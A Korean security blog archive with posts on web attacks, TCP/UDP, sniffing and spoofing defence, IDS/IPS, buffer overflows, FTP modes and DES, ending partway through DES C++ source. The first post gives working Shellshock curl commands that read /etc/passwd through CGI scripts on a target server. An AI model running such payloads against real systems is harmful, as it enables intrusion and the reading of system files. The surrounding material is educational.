bash shell 영향도 검증

Programming/Security | 2017. 5. 11. 16:48
Posted by 신이내린프로그래머

1. 윈도우용 curl 설치



2. 다운로드

https://curl.haxx.se/download.html

윈도우 7zip 다운



3. cmd창

curl.exe 잇는 폴더로 가기



4. 명령어

curl --max-time 5 -k -A "User-Agent: () { :;}; echo;/bin/cat /etc/passwd" http://아이피:포트/cgi-bin/test-cgi

curl --max-time 5 -k -H "User-Agent: () { :;}; echo;/bin/cat /etc/passwd" http://아이피:포트/cgi-bin/test-cgi


curl --max-time 5 -k -A "User-Agent: () { :;}; echo;/bin/cat /etc/passwd" http://아이피:포트/cgi-bin/authLogin.cgi

curl --max-time 5 -k -H "User-Agent: () { :;}; echo;/bin/cat /etc/passwd" http://아이피:포트/cgi-bin/authLogin.cgi


5. 영향도

/etc/passwd 로 검증하였으므로 passwd 노출되면 영향도 O

 

SQL Injection, XSS, CSRF

Programming/Security | 2011. 12. 5. 02:07
Posted by 신이내린프로그래머

삽입(Injection)

oSQL 삽입 공격 :

-SQL문이 결과적으로 참이 될 수 있다면 SQL삽입공격에 사용되는 SQL문은 무엇이라도 상관없음.

-이러한 SQL삽입 공격은 로그인 뿐만 아니라 웹에서 사용자의 입력값을 받아 데이터베이스에 SQL문으로 데이터를 요청하는 모든 곳에 가능.

-방어법 : 사용자가 입력창을 통해서 SQL문을 완성하여 데이터베이스에 전송할 때 이입력값중에 특수문자가 존재하는지 여부를 필터링하는 것.

 

Cross-Site Scripting(XSS)

o웹 어플리케이션을 이용하여 다른 사용자에게 악성 코드를 보내는 데 사용

o대처방안 : 어플리케이션 차원에서 HTTP헤더, 쿠키, 쿼리 스트링, 폼필드, 히든 필드 등의 모든 인자들에 대해 허용된 유형의 데이터만을 허용하도록 한다.



• 
XSS(Cross-Site Scripting)

o웹 어플리케이션을 이용하여 다른 사용자에게 악성 코드를 보내는 데 사용

o대처방안 : 어플리케이션 차원에서 HTTP헤더, 쿠키, 쿼리 스트링, 폼필드, 히든 필드 등의 모든 인자들에 대해 허용된 유형의 데이터만을 허용하도록 한다.


CSRF(Cross Site Request Forgery 크로스 사이트 요청 변조)

oXSS에서 변형된 것으로 Javascript를 사용할 수 없는 상태에서도 공격이 가능하다.

사이트에서 제공하는 기능을 피해자의 웹브라우저에서 요청시키도록 하는 공격이다. 공격자의 악성코드를 읽은 피해자는 요청을 서버로 보내게 되고, 서버는 피해자의 권한으로 요청에 대한 처리를 하게 된다.

oCSRF공격의 예

-댓글 자동달기, 자동 친구등록, 자동회원정보변경, 도토리 자동기부

o방어법

-XSS와 동일하며 웹 클라이언트로부터 전달되는 세션토큰의 여부를 확인해야 하며, 단순히 세션토큰만을 이용한 권한 부여를 금지해야 한다. , 중요정보를 변경할 경우에는 eamil이나 sms와 같은 방법을 이용해 재인증을 요구해야 한다.

  

 

웹 서비스 취약점 : OWASP Top 10

Programming/Security | 2011. 12. 4. 18:18
Posted by 신이내린프로그래머
 

Transport 계층 프로토콜 : TCP / UDP

Programming/Security | 2011. 12. 4. 17:59
Posted by 신이내린프로그래머

* 전송 계층 프로토콜(Transport Layer Protocol)

- 서로 다른 호스트에서 동작하는 애플리케이션 프로세스 간의 논리적 통신(Logical Communication)을 제공하지만, Network Layer Protocol은 호스트 사이의 논리적 통신을 제공한다.

 

* 계층 별 패킷(Packet)을 일컫는 말

- 세그먼트(Segment) : 전송 계층

- 데이터그램(Datagram) : 네트워크 계층

- 데이터프레임(Data Frame) : 링크 계층

 

* 다중화(Multiplexing) & 역다중화(Demultiplexing)

- 다중화 : 세그먼트 데이터를 올바른 소켓으로 전달하는 작업.

- 역다중화 : 세그먼트를 생성하기 위해 각 데이터를 헤더 정보로 캡슐화하고,

그 세그먼트들을 네트워크 계층으로 전달하는 작업.

 

 

 

 

UDP

 

* UDP(User Datagram Protocol)

- L4에서 제공해야할 최소한의 서비스. , 프로세스 대 프로세스 데이터 전달과 오류 검출만을 제공하는

비연결형 전송 프로토콜.

 

* UDP의 특징

- 비연결형

- UDP가 제공하는 두 가지 서비스(최소한의 두 가지 전송 계층 서비스)

1. 프로세스 대 프로세스 데이터 전달.

포트 - 프로세스 매핑, 두 개의 포트 정보(근원지, 목적지)를 통해 소켓 식별.

2. 오류 검출 : 헤더에 오류 검출 필드를 포함함으로써 무결성 검사를 제공.

- Way HandShake 같은 연결 설정이 없다.

- 연결 상태가 없다. 따라서 패킷 오버헤드가 적다. (세그먼트 당 8byte)

- DNS, NFS, SNMP, RIP 등이 사용.

- 세그먼트 구조 : 포트번호(근원지, 목적지), 길이, checksum | payload

 

 

- 잘 알려진 포트(well-known port) : 0 ~ 1023 | HTTP : 80, FTP : 21

 

 

 

TCP

 

* TCP(Transmission Control Protocol)

- UDP가 제공하는 서비스 뿐 아니라 신뢰성 있는 데이터 전달과 흐름 제어 및 혼잡 제어를 지원하는

L4의 연결 지향형 프로토콜

 

* TCP의 특징

- 연결 지향형(실제로 연결된 것은 아니기에 이런 애매모호한 말을 사용)

- TCP가 제공하는 서비스(UDP가 제공하는 서비스 더하기)

1. 신뢰적인 데이터 전달

2. 흐름 제어(Flow Control : 수신자 버퍼 오버플로우 방지)

혼잡 제어(Congestion Control : 네트워크 내의 패킷 수가 과도하게 증가하는 현상 방지)

- 두 개의 포트 정보(근원지, 목적지)와 두 개의 IP 정보(근원지, 목적지)를 통해 소켓 식별

- Packet Overhead : 20byte

- 대부분의 L7 프로토콜(HTTP, FTP, SMTP, Telnet )이 사용.

- 전이중(Full-Duplex), 점대점(Point to Point) 서비스.

- 통신 시작 : 3 way handshake, 통신 종료 : 4 way handshake

 

 

 구분  TCP  UDP 
 연결 형태  연결 지향   비연결형 
 데이터 순서   순서 유지   순서 유지하지 않음 
 데이터 손실  손실 없음   손실 가능 
 흐름/혼잡/오류 제어  GBN, SR ARQ 사용   해당 제어기능 없음 
 패킷 오버해드  20Byte   8Byte 
 사용 예  대부분의 L7 프로토콜(HTTP, FTP, SMTP, Telnet 등)   DNS, NFS, SNMP, RIP 등 

 

스니핑과 스푸핑 그리고 그에 따른 방어법

Programming/Security | 2011. 12. 4. 14:12
Posted by 신이내린프로그래머

☐ 스니핑이란

• 사전적인 의미는 ‘코를 킁킁거리다’. 실제로는 네트워크 상에서 자신이 아닌 다른 상대방의 패킷 교환을 엿듣는 것을 의미. 이러한 스니핑을 가능하게 해주는 도구들을 스니퍼 Sniffer 라고 함.

• TCP/IP 프로토콜은 학술적인 용도로 인터넷 초창기 이전부터 설계된 프로토콜이기 때문에 보안은 크게 고려하지 않고 시작되었음. 스니핑은 이러한 보안의 기본 요소 중 기밀성을 해치는 공격 기법


☐ 스니핑의 방어

• SSL 적용

o HTTP, IMAP, POP, SMTP, Telnet 등은 SSL을 적용하여 HTTPS, IMAPS, POPS, SMTPS, Telnets 등으로 사용 가능.

o 사용자 이름, 패스워드 및 전자 상거래 결재 정보 등 웹 서핑의 내용을 암호화 할 수 있음

• PGP, S/MIME

o SMTP 상으로 보내지는 메일은 기본적으로 암호화되지 않기 때문에 스니핑하여 그 내용 쉽게 얻어낼 수 있음.

o PGP, S/MIME 등을 이용해 메일에 대한 암호화 기능 제공

• SSH

o 암호화 통신 제공해 Telnet, FTP, RCP, Rlogin 등을 대치 가능

• 사설망 혹은 가상사설망 VPN

o 스니핑이 우려되는 네트워크 상의 전용선으로 직접 연결해 중간에 도청되는 것을 막는 사설망. 하지만 거리가 멀어질수록 비용 높아짐

o 일반 인터넷 회선 이용해 사설망의 효과 내는 것이 VPN.


☐ 스푸핑이란

• 사전적인 의미는 '속이다'.

     • IP주소, 호스트 이름, MAC 주소 등을 속이는 공격

     • 범위 : 인터넷이나 로컬에 존재하는 모든 연결에 스푸핑이 가능

     • 종류 : MAC, IP, DNS, ARP Spoofing

     • IP 충돌 문제 역시 고의가 아닌 IP스푸핑일 경우도 있음

     • Sniffing 시 사용됨

     • Tools : MAC Address Change, Winarp_sk, Win_dnsspoof


☐ 스푸핑의 방어

• 윈도우키 + R 키를 누르시면 실행창이 뜹니다

       거기서 cmd 라고 치시면 도스창이 뜨게 되는데요

       ipconfig 라고 입력하시면

       Connection-specific DNS Suffix . :

       IP Address. . . . . . . . . . . . : 192.168.0.9

       Subnet Mask . . . . . . . . . . . : 255.255.255.0

       Default Gateway . . . . . . . . . : 192.168.0.2

       이런 화면이 나옵니다.

       arp -a 라고치시면 밑에 화면이 나오게 되구요

       Interface: 192.168.0.9 --- 0x2

       Internet Address Physical Address Type

       192.168.0.2 00-06-c4-04-00-d8 dynamic

       위에 ipconfig 라고 치신거에서 Default Gateway . . . . . . . . . : 192.168.0.2<-- 이부분           이 디폴트 게이트 웨이라는 곳인데요.. 이것을 arp 테이블에 고정적 주소로 넣어주시                 면 arp 스푸핑 공격에서 안전하실 수 있습니다.

       넣는법은

       arp -s 192.168.0.2 00-06-c4-04-00-d8 라고 치시면

       192.168.0.2 00-06-c4-04-00-d8 static 이렇게 dynamic-> static 으로 변경됩니다..

       이제 어떤상대가 스푸핑 공격으로 패킷을 날려도 공격이 먹혀들지 않습니다..

 

IDS, IPS, 방화벽, 웹방화벽 구분

Programming/Security | 2011. 12. 4. 03:46
Posted by 신이내린프로그래머

방화벽

- 네트워크 packet에서 3계층과 4계층을 기반으로 IPPort 정보를 기반으로 방어를 하는 개념

IDS,IPS

- 3계층부터 7계층 까지의 packet 내용을 문자열 비교에 의해 침입 시도를 감시하고 차단하는 역할

웹방화벽

- 7계층 중에서 http 의 내용만을 문자열에 비교에 의해 침입 시도를 감시하고 차단하는 역할

---------

분명한 차이점은,

문자열을 비교할 때 비교하는 DATA의 종류가 다르다는것 이다.

IDS,IPS에서 검사하는 문자열은 Application Layer 에 쌓여있는 상태의 DATA이고

웹 방화벽 에서는 Application 에서 직접 사용하게 되는 풀려진 상태의 DATA 문자열을 비교하게 되는 것이다.

자세히 말하면 Application Layer에서 암호화된 DATAIDS,IPS 에서는 기존의 문자열 비교를 통해서는 침입패턴을 검출해 낼수 없다는 것이다. 하지만 웹 방화벽에서는 이미 하위 Layer 에서 복호화를 마친 DATA를 문자열 비교를 하기 때문에 침입 패턴을 검출해 낼수 있게 되는 것이다. 웹 방화벽은 HTTP프로토콜만을 감시하기 때문에 단순한 문자열 비교만을 이용한 침입패턴 탐지가 아닌 HTTP의 프로토콜 속성 값을 통해서 효율적인 방어를 할수 있다.
 

<기타 정리>

IPS,IDS DosDDos를 탐지 및 차단을 하고 방화벽은 일부지원한다고 한다.

IPS,IDS 는 바이러스나 웜은 탐지 및 차단이 가능하고 방화벽은 불가능 하다.


IDS
IPS 구분 

- IDS : 탐지 대상 시스템이나 네트워크를 감시하여 비인가 되거나 비정상적인 행동을 탐지하여 구별

IDS 한계성 : 1. 침임에대한 자동 대응

                   2. 근원적인 차단

                   3. 우회공격기법 증가

- IPS : IDS와 마찬가지로 네트워크 트래픽을 감시, 위협을 인지한 후 이에 즉각적인 대응을 위한 네으워크 보안기술
IDS : 탐지
IPS : 방지
 

비슷한 장비이지만 약간의 차이가 있다.

 

버퍼 오버플로우

Programming/Security | 2011. 12. 4. 03:38
Posted by 신이내린프로그래머

1. 버퍼 오버플로우 공격

 버퍼(Buffer)에 일정 크기 이상의 데이터를 입력하여 프로그램을 공격하는 하는 방식을 말한다.


2. 스택 버퍼 오버플로우 공격

 입력 값을 확인하지 않는 입력 함수에 정상적인 크기보다 큰 입력 값을 입력하여 RET 값을 덮어 씌움으로써 임의의 코드를 실행하는 공격을 스택 버퍼 오버플로우 공격이라 한다.



3. segmentation fault 란 무엇인가?

 공격을 하기전에 무작위로 값을 많이 입력해본다. 그러면 여러분은 segmentation fault가 출력되는 것을 볼 수가 있다. 이는 나중에 실습화면에서도 확인할 수 있을 것이다. 이는 프로그램의 ret 주소가 변조 되었음을 나타내는 것이다. 이 오류를 통해 ret주소의 위치를 역으로 확인이 가능해진다. 따라서, segmentaion fault가 발생했다면, 스택 버퍼 오버플로우 공격이 가능함을 말한다.



4. 힙 퍼퍼 오버플로우 공격

힙에 저장되는 데이터를 변조하거나, 함수에 대한 포인터 값을 변조함으로써 ret값을 변조하여 임의의 코드를 실행하기 위한 공격을 말한다.
 

5. 버퍼 오버플로우 공격에 취약한 함수

 - strcpy(char *dst, const char* src)

- strcat (char *dst, const char* src)

 - getwd(char * buf) , gets( char* s)

 - fscanf(FILE *stream, const char *format,..)

 - scanf(const char *format,...)

 - realpath( char *path, char resolved_path[])

 - sprintf( char *str, const char *format)



 6. RTL(Return to libc) 공격

 스택에 있는 ret 주소를 실행 가능한 임의의 주소로 돌력 원하는 함수를 수행하도록 만드는

 기법을 말한다.



 7. 보안 방안

 버퍼오버플로우가 일어나는 이유는 버퍼의 크기를 검사하지 않아서 일어나게 된다. 따라서 프로그래머의 경우는 버퍼의 크기를 체크하는 함수(strncpy)를 사용하여 프로그래밍을 하도록하며 OS내부적으로 버퍼오버플로우를 일으키는 취약점이 존재한다. 따라서 보안패치를 바로바로 하여 이러한 취약점을 이용한 버퍼오버플로우 공격에 당하지 않도록 한다.

'Programming > Security' 카테고리의 다른 글

스니핑과 스푸핑 그리고 그에 따른 방어법  (0) 2011.12.04
IDS, IPS, 방화벽, 웹방화벽 구분  (0) 2011.12.04
웹메소드 중 Get방식과 Post방식  (0) 2011.12.04
FTP의 Active Mode 와 Passive Mode  (0) 2011.12.04
DES  (0) 2011.11.29
 

웹메소드 중 Get방식과 Post방식

Programming/Security | 2011. 12. 4. 03:28
Posted by 신이내린프로그래머

Get 방식 = 주소창을 이용해서 정보를 전달

-  모든 파라미터는 URL을 통해 전달된다.
- 사용자의 눈에 직접적으로 표시되기 때문에, 로그인 비밀번호등의 정보를 Get방식으로 전달하면 문제가 발생할 가능성이 있다.
- URL의 길이가 정해져 있기 때문에 많은 양의 정보를 전달할 수 없다.
- URL 형식에 맞지 않는 파라미터 이름, 값은 ENCODING해서 전달해야 한다. 그렇지 않은 경우 전달하고자 하는 정보와 다른 정보가 전달될 수 있다.



Post방식 = HTTP헤더 안에 넣어 정보를 전달

- 전달하고자 하는 정보가 HTTP Body 에 포함되어 전달된다.
- HTTP Body 에 포함되므로, 웹브라우저 사용자의 눈에 직접적으로 표시되지 않는다.
- Body에 포함되어 전달되므로, 길이에 제한이 없다. 

'Programming > Security' 카테고리의 다른 글

IDS, IPS, 방화벽, 웹방화벽 구분  (0) 2011.12.04
버퍼 오버플로우  (0) 2011.12.04
FTP의 Active Mode 와 Passive Mode  (0) 2011.12.04
DES  (0) 2011.11.29
윈도우에서 제공하는 간단한 방식의 암복호화 소스  (0) 2011.11.26
 

FTP의 Active Mode 와 Passive Mode

Programming/Security | 2011. 12. 4. 03:05
Posted by 신이내린프로그래머

<Active Mode>


특징

Command Port는 클라이언트가 서버로 접속하고, Data Port는 서버가 클라이언트로 접속

 

동작 순서

 

  1. 클라이언트에서 서버의 21번 포트(Command Port)로 접속 후,
    클라이언트가 자신의 포트 번호(1023 보다 큼)보다 1 값이 큰 포트 번호를 서버에 알려줌

  2. 서버에서는 ack 로 응답

  3. 서버의 20번 포트(Data Port)에서 클라이언트가 알려준 포트로 접속

  4. 클라이언트가 ack 로 응답

 

기타

서버가 방화벽 안에 있다면 방화벽 설정에 아래의 port 가 허용 되어야 한다.
  - port 21 Inbound (Command Port) 사용 허용
  - port 20 Outbound (Data Port) 사용 허용

클라이언트가 방화벽 안에 있을 경우, 서버에서 클라이언트로의 접속이 차단될 수 있다.

 

 

<Passive Mode>


특징

Command Port 와 Data Port 모두 클라이언트가 서버로 접속

 

동작 순서

  1. 클라이언트가 서버의 21번 포트(Command Port)로 접속

  2. 서버는 서버에서 사용할 Data Port 를 클라이언트에게 응답으로 알려줌

  3. 클라이언트는 다른 포트를 열어 서버가 알려준 Data Port 로 접속

  4. 서버가 ack 로 응답

 

기타

서버가 방화벽 안에 존재한다면,
서버에서 사용할 수 있는 Data Port(1024 ~ 65535 또는 FTP 서버에서 설정한 포트 범위) 를 
방화벽에서 허용해야 함

'Programming > Security' 카테고리의 다른 글

버퍼 오버플로우  (0) 2011.12.04
웹메소드 중 Get방식과 Post방식  (0) 2011.12.04
DES  (0) 2011.11.29
윈도우에서 제공하는 간단한 방식의 암복호화 소스  (0) 2011.11.26
오픈소스 API  (0) 2011.11.26
 

DES

Programming/Security | 2011. 11. 29. 22:38
Posted by 신이내린프로그래머

1. DES(Data Encryption Standard)  

    DES는 평문을 64비트로 나눠 56비트의 키를 이용해 다시 64비트의 암호문을 만들어 내는 알고리즘이다.(대칭형 블럭 암호)

     DES 알고리즘의 모습은 대체로 다음과 같다.  64비트의 평문이 16라운드를 거쳐 
    64비트의
 암호문을 나오게 하는 것이다

   INPUT :  64비트의 평문과 키 스케줄을 거친 64비트의 키가  입력된다.  OUTPUT : 64비트의 암호문이 나온다. 

    ① 먼저 64비트의 평문이 첫 라운드를 거치기 전에 IP(initial permutation)를 거친다. 
    ② IP를 거친 뒤 평문은 첫 번째 라운드에 들어가게 되는데, 좌우 각각 
       32비트(Lo,Ro)로 나눠서
 들어간다. 
    ③ 이제 오른쪽 32비트는 키 스케줄에 의해 나온 첫 번째 48비트 키와 F함수에
       들어가고 F함수
는 32비트를 내뱉는다.
    ④ F함수에서 나온 32비트는 2번의 왼쪽 32비트와 XOR연산을 거치게 된다.
    ⑤ 첫 라운드의 오른쪽 32비트는 다음 라운드의 왼쪽 32비트로 들어가고, XOR
       연산을 거친 32
트는 다음 라운드의 오른쪽 32비트로 들어가게 된다. 
    ⑥ 두 번째 라운드부터 16번째 라운드까지 첫 번째 라운드와 같은 방식으로 
       이루어 진다. 
    ⑦ 마지막 라운드를 거친 뒤 IP-1에 들어가게 되는데 이 때는 좌우가 
       바뀌어서( R 16,L16)로 
들어간다. 
    ⑧ IP-1를 거친 것이 64비트의 암호문이다. 

   F함수에는 오른쪽의 32비트 텍스트와 키 스케줄을 거친 키가 들어간다. 

    ① 오른쪽 32비트는 E(expansion)를 거치게 되어 48비트가 된다.
    ② 이 48비트는 키(48비트)와 XOR연산을 하게 된다. 
    ③ XOR연산의 결과로 나온 48비트는 6비트씩 잘려서 8개의 S-box에 들어가게 된다. 
    ④ 각각의 6비트는 S-box를 거친 뒤 4비트가 되어서 나오게 된다. 
    ⑤ 4비트씩 8개가 모여 다시 32비트를 이루게 된다. 
    ⑥ 이 32비트는 P(permutation)를 거쳐서 F함수의 결과(32비트)를 내 놓는다. 

     <키 스케줄>
    사용자는 56비트의 키를 입력하는데 이것에 8비트의 parity bits가 포함되어 키 
   스케줄에는 
모두 64비트의 키가 들어간다.  
   parity bits는 키 사이즈를 64에서 56 비트로 줄여준다.

   키 스케줄을 거친 뒤 16개의 48비트 키가 생성되는데 그 과정은 다음과 같다. 

    ① 키 스케줄을 하기 전에 쉬프트 횟수를 정의하는데 1, 2, 9, 16번째는 1번, 
     나머지는 2번씩
이다.  이것으로 총 28번의 쉬프트가 이루어진다.

    ② 먼저 키는 PC1박스를 거치게 된다.  PC1박스를 거친 후엔 두 부분(각각 28비트)으로 나뉘게 된다.

    ③ 이제 각각의 두 부분은 위에서 정의한 데로 1번째에는 1번의 왼쪽 쉬프트를, 두 번째에는 1번의 왼쪽 쉬프트를, 세 번째에는 2번의 왼쪽 쉬프트를 .....16번째에는 1번의 왼쪽 쉬프트를 하게 된다.

    ④ 첫 번째 키는 1번째 쉬프트를 했을 때 두 부분을 합쳐서 PC2박스를 통과시켜 나오는 48비트 이다.

    ⑤ 두 번째 키는 2번째 쉬프트를 한 후 첫 번째와 같이 두 부분을 합쳐 PC2박스를 통과시켜 나오는 48비트이다.

    ⑥ 이런 식으로 16번째까지 모두 16개의 키가 생성되게 된다.

   2. 다중 DES

      - Double DES

    DES 알고리즘 자체는 변형시키지 않고 DES의 안전성을 증대시키기 위한 방법 중의 하나로

    2개의 다른키로 2번 암호화를 수행한다.

  2중 DES의 암호화

  2중 DES의 복호화

    2개의 서로 다른 키가 적용되어졌기 때문에 2중 DES의 유효한 키는 56 ×112비트이다.

    이 경우의 모든 가능한 키를 시도해보는 횟수는 2112 번 작업이 소요된다.
    관측된  한 쌍의 평문과 암호문(m,c)가 주어졌을 때

 

 관계가 성립하며 아래의 관계식을 구할 수가 있다.

    m에 2개의 모든 가능한 k1을 적용하여 암호화시킨 x값을 정렬하여 보관한다.다음에는 역시 256 개의 모든 가능한 k2를 c에 적용하여 복호화한다. 
    복호화되는 가각의 값을 저장된 테이블에 있는 값과 비교하여 일치하는 항목에 대한 k1과 k2를 선정하여 이것을 하나의 평문과 암호문의 쌍에 적용시켜 검증한다. 

    이 암호분석에 소용되는 작업량은 암호화와 복호화에 2·256 그리고 n개의 값을 정렬하는데


의 작업이 요구되어 전반적으로 263 로 정도의 작업이 소요되어 단일

         DES에 비해 크게 증대되지 못했다. 따라서 "중간충돌" 공격을 방지 할 수 있는 
         Triple 
DES가  제시 되어졌다.

    - Triple DES

             "중간충돌" 공격을 방지할 수 있다.

         

   3. DES 운영방식

       1) ECB(Electronic CodeBook)

         ECB 모드는 DES 암호 방식의 사용 방식 중 가장 간단한 방식으로 평문을 
        64비트씩 나누어 
암호화하는 방식이다. 평문을 64비트씩 나눌 때 마지막 블록이
        64비트가 되지 않을 때는 임
의의 약속된 비트 모양을 패딩(padding)하게 된다. 
       64비트 블록의 평문을 그림 4.6과 같이 
암호화한다.

    이 방식은 동일한 평문 블록 모양에 따라 항상 동일한 암호문이 출력되므로 암호 해독자들

    의 해독 가능성을 높게 만든다. 즉, 문서의 종류에 따라 동일한 문서 모양을 갖고 있으므로 암호문 단독 공격의 가능성을 높게 해준다. 따라서 64비트 길이의 평문 암호화에 유용하게 사용될 수 있으므로 DES 암호 방식의 키 암호화에 사용할 수 있다.

       2) CBC(Cipher Block Chaining)

    DES 암호 방식의 CBC 모드는 출력 암호문이 다음 평문 블록에 영향을 미치게 하여 각 암호문 블록이 전단의 암호문의 영향을 받도록 만든 방식으로 ECB에서 발생하는 동일한 평문에 의한 동일한 암호문이 발생하지 않도록 구성한 동작 모드이다. CBC 모드 동작은 아래 그림과 같이 처음 입력된 평문 블록은 초기 벡터 (initial vector)와EX-OR되어 DES 암호기에 입력된다. 암호기 출력 암호문 은 다음 단 평문 블록 와 EX-OR되어 DES 암호기에 입력된다.


    CBC 모드 동작 중 발생하는 비트 손실이나 오류에 대한 영향을 검토해보자. 전송 중에 암호문 블럭 c에서 발생하는 한 비트의 오류는 복호화된 해당 평문 블럭 m에서는 여러 비트의 영향을 주게되며 다음 단의 복호화된 평문 블럭 mi +1 에는 한 비트의 오류를 유발하게 된다.

    물론 그 다음 단의 복호화된 평문 블럭 mi+2 에는 영향을 주지 않는다. CBC 방식의 특징은 현 단계에서 생성되는 암호문이 그 다음으로 생성되는 암호문 블럭에 영향을 미치기 때문에 특정 암호문 블럭이 전달되는 과정에서 발생되는 채널상의 잡음에 의한 오류는 해당 암호문 뿐만아니라 그 다음 암호문에도 그 효과가 연장된다.

    한편 CBC 모드의 평문 블럭 m에서의 오류 발생시 암호문 분석에 미치는 영향을 살펴보자.

    평문 블럭 m에서의 한 비트 오류는 그 다음에 출력되는 모든 암호문 블럭 ci  ci+1 ci+2에 영향을 미치게 된다. 이러한 특징은 메시지 인증에 유용하게 사용될 수 있다. 구체적으로 말하면 이러한 특징은 문서 인증 부호 MAC(message authentication code)에 사용될  수 있다.


       3) CFB(Cipher FeedBack)

    CFB 모드는 블록 암호가 스트림 암호처럼 동작하도록 한다. CBC처럼, 이 모드도 초기벡터를 이용하지만, 내부 처리가 조금 더 필요하다. CFB 모드에서 블록 암호는 블록 크기보다 작은 데이터의 조각을 암호화할 수 있다. 실제로, CFB는 하나의 비트에서부터 블록까지 어떠한 크기의 데이터도 암호화할 수 있다. 일반적으로, CFB는 동시에 한 바이트(8비트)를 암호화하거나 복호화하는 데 사용하며 이것을 CFB8이라고 한다. 

    아래 그림은 CFB8을 이용한 한 바이트의 암호화를 보여준다.


    『 암호화 (p→c) 
        ① 블록 암호를 이용하여 기본적 암호의 블록 크기만큼 버퍼를 암호화.
             초기에 버퍼는 IV로 채워진다.

         ② 암호화된 버퍼의 최좌단 비트 수와 평문은 XOR로 연산됨. 그 결과 암호문이 출력됨.
             암호화된 버퍼의 나머지는 폐기됨.
             CFB8에서, 암호화된 버퍼의 최좌단 바이트는 평문과 XOR 

         ③ CFB8에서, 버퍼는 한 바이트 왼쪽으로 이동.
              암호문은 버퍼의 오른쪽편에 있는 빈 공간을 채우는 데 사용된다.
              이 버퍼는 다음 암호화에서 다시 사용될 것이다.
              이 과정이 계속되면, 버퍼는 전부 암호문으로 채우는 데 사용될 것이다.

    『 복호화 (c→p) 
       ① 버퍼는 블록 암호를 이용하여 암호화한다. 
            암호문 바이트를 복호화할 지라도, 여전히 버퍼를 암호화 하기 위해 블록 암호를 이용
            한다.

        ② 암호화된 버퍼의 최좌단 비트는 평문 출력을 처리하는 암호문과 XOR로 연산된다.
             다시, 암호화된 버퍼의 나머지는 폐기된다.

        ③ 원래 버퍼는 왼쪽으로 이동하고, 암호문으로 채워진다. 
            이 버퍼는 다음 복호화에서 다시 사용될 것이다.


       4) OFB(Output FeedBack)

    OFB 모드는 내부 버퍼가 갱신되는 것을 제외하고 CFB모드처럼 동작한다.

    내부 버퍼가 왼쪽으로 이동될 때, 오른쪽의 공간은 암호화된 버퍼의 가장 왼쪽 비트로 채워

    진다.
     이론적으로, OFB는 암호의 블록 크기보다 작거나 같은 어떠한 비트 크기로도 사용될 

    수 있다. 그러나 피드백 크기가 기본적 암호의 블록 크기보다 작을 때 OFB의 성능은 떨어진

    다. 단지 피드백 크기가 암호 블록 크기와 같을 때에만 사용하는 것이 좋다.



    <DES.h 파일>
    [CODE]
    /************************************************************************/
    /* DES Algorithm!
    /* Jinsik, Park
    /************************************************************************/
    #ifndef DECLARE_DES
    #define DECLARE_DES

    #include "stdafx.h"

    #include <string>
    using namespace std;

    #ifndef DLLEXPORT
    #define DLLEXPORT __declspec( dllexport )
    #endif

    #ifndef DLLIMPORT
    #define DLLIMPORT __declspec( dllimport )
    #endif

    #ifdef DESIMPORT
    class DLLIMPORT CDES
    #else
    class DLLEXPORT CDES
    #endif
    {
    public:
     CDES()
     {}
     //암호하고, 파일 이름을 넘겨 받는다.
     int DESEncrypt( char * pFileName, char * pDesFileName, char * pPassword,  int nLength );

     
     //암호하고, 저장할 파일 이름을 넘겨 받는다.
     int DESDecrypt( char * pFileName, char * pDesFileName, char * pPassword  , int nLength  );

    protected :
     void DESKeyGenerate( char * pKeySource );
     //8 byte가 넘는 key를 8 byte로 줄이기
     void DESKeyTruncate( char * pKeySource );
     //Char를 2진수 코드로 만들기 
     void DESChar2Binary( int * piTarget, char * pSource, int iSourceLen );
     //8개의 2진수를 하나의 Char로 만들기
     char DESBinary2Char( int * iSource );
     void DESSwap32Bit( int * piLeftBit, int * piRightBit, int * piBufferBit );
     void DESRound( int * piLeftData, int * piRightData );
     void DESStart( int iJobType, int iDataSize, char * pSrcData, char * ptgtData );
     int DESOperation(int iJogType, char * pInput, char * pOutput, char * pKey, int nLength);
    };

    #endif
     [/CODE]

    <DES.cpp파일>
    [CODE]
    #include "Stdafx.h"
    #include "Define.h"   //define 
    #include "DES.h"
    /************************************************************************/
    /* DESStart( int iJobType, int iDataSize, char * pSrcData, char * ptgtData )
    /************************************************************************/
    void CDES::DESStart( int iJobType, int iDataSize, char * pSrcData, char * ptgtData )
    {
     int srcBinary[64] = { 0, }, tgtBinary[64] = { 0, }, binaryBuff[64] = { 0, };
     int leftData[32] = { 0, }, rightData[32] = { 0, }, swapBuff[32] = { 0, };
     int tgtIndex=0;
     char textBuff[9] = { '\0', };
     int i, j, k;

     // Data의 끝까지 가면서 암호화, 복호화 한다 
     for( i = 0, tgtIndex = 0; i < iDataSize; i++ ) 
     { 
      memset( textBuff, 0, 9 );
      // srcData에서 8자씩 textBuff로복사 
      memcpy( textBuff, ( pSrcData + tgtIndex ), 8 ); 

      // textBuff를 binary로  
      DESChar2Binary( binaryBuff, textBuff, 8 ); 

      // Initial Permutation 
      for( j = 0; j < 64; j++ )  
       srcBinary[j] = binaryBuff[ MAT_IP[j]-1 ];

      //Encryption일 경우
      if( iJobType == ENCRYPT ) 
      {
       // 하나의 64bit를 둘의 left, right data 로 나눈다
       for(j=0; j<32; j++)
       { 
        leftData[j] = srcBinary[j];
        rightData[j] = srcBinary[j+32];
       }
      }
      // 복호화 할경우 left data와 right data의 위치를 바꾼다 
      else  
      {
       // 하나의 64bit를 둘의 left, right data 로 나눈다
       for( j = 0; j < 32; j++ )
       { 
        rightData[j] = srcBinary[j];
        leftData[j] = srcBinary[j+32];
       }
      }

      DESRound( leftData, rightData );

      //Encrypt일 경우
      if( iJobType == ENCRYPT ) 
       DESSwap32Bit( leftData, rightData, swapBuff );

      // 둘의 left, right data 를 하나의 64bit로 합한다 
      for( j = 0; j < 32; j++ )
      { 
       // 또한 32bit swap을 한다 
       binaryBuff[j] = rightData[j]; 
       binaryBuff[j+32] = leftData[j];
      }

      // Inverse Initial Permutation 
      for( j = 0; j < 64; j++ ) 
       tgtBinary[j] = binaryBuff[ MAT_IP_1[j]-1 ];

      memset( textBuff, 0, 9 );

      // tgtBinary를 ascii로 변형후 textBuff에 저장 
      for( j = 0, k = 0; j < 64; j += 8, k++ ) 
       textBuff[k] = DESBinary2Char( & tgtBinary[j] );


      // textBuff의 내용을 tgtData로 복사 
      memcpy( ( ptgtData + tgtIndex ), textBuff, 8 ); 
      tgtIndex += 8;
     }
    }

    /************************************************************************/
    /* DESSwap32Bit( int * piLeftBit, int * piRightBit, int * piBufferBit )
    /************************************************************************/
    void CDES::DESSwap32Bit( int * piLeftBit, int * piRightBit, int * piBufferBit )
    {
     int i;

